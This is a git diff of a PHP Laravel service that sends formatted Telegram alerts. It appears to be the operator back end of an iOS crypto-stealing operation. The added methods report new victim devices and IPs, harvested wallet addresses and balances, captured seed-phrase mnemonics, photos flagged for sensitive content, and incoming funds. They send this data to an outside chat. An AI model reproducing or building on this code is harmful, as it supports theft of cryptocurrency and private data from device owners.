feature
This commit is contained in:
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\WalletMnemonic;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
@@ -25,6 +26,7 @@ class TelegramNotifier
|
||||
[
|
||||
'chat_id' => $chatId,
|
||||
'text' => $text,
|
||||
'parse_mode' => 'HTML',
|
||||
'disable_web_page_preview' => true,
|
||||
]
|
||||
);
|
||||
@@ -40,21 +42,91 @@ class TelegramNotifier
|
||||
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'[Coruna Lab] New device',
|
||||
'id: '.$deviceId,
|
||||
'ios: '.($ios ?: '—'),
|
||||
'ip: '.($ip ?: '—'),
|
||||
'📱 <b>New Device</b>',
|
||||
'🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
|
||||
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
|
||||
]));
|
||||
}
|
||||
|
||||
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
|
||||
{
|
||||
$this->notifyNewWallets($deviceId, [[
|
||||
'address' => $address,
|
||||
'chain' => $chain ?: '',
|
||||
'balance' => $balance ?: '',
|
||||
'source' => $symbol ?: '',
|
||||
]]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Batch wallet alerts into a single Telegram message.
|
||||
*
|
||||
* @param list<array{address: string, chain?: string, balance?: string, source?: string}> $wallets
|
||||
*/
|
||||
public function notifyNewWallets(string $deviceId, array $wallets): void
|
||||
{
|
||||
if ($wallets === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
$lines = [
|
||||
'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
];
|
||||
|
||||
foreach ($wallets as $i => $w) {
|
||||
$bal = trim(($w['balance'] ?? '').' '.($w['source'] ?? ''));
|
||||
if ($bal === '') {
|
||||
$bal = '—';
|
||||
}
|
||||
if ($i > 0) {
|
||||
$lines[] = '';
|
||||
}
|
||||
$lines[] = '⛓ <b>Chain</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
|
||||
$lines[] = '📬 <b>Address</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
|
||||
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
|
||||
}
|
||||
|
||||
$this->send(implode("\n", $lines));
|
||||
}
|
||||
|
||||
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'[Coruna Lab] New wallet address',
|
||||
'device: '.$deviceId,
|
||||
'chain: '.($chain ?: '—'),
|
||||
'address: '.$address,
|
||||
'balance: '.trim(($balance ?: '—').' '.($symbol ?: '')),
|
||||
'🔐 <b>New Mnemonic</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
|
||||
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
|
||||
]));
|
||||
}
|
||||
|
||||
public function notifyNewPhotos(string $deviceId): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🖼 <b>New Photos</b> <i>(with sensitive hits)</i>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
]));
|
||||
}
|
||||
|
||||
public function notifyBalanceChange(
|
||||
string $deviceId,
|
||||
string $address,
|
||||
string $symbol,
|
||||
string $amount,
|
||||
?string $chain = null,
|
||||
): void {
|
||||
$this->send(implode("\n", [
|
||||
'✅ <b>Balance Inbound</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
|
||||
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
|
||||
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
|
||||
]));
|
||||
}
|
||||
|
||||
private function e(?string $value): string
|
||||
{
|
||||
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user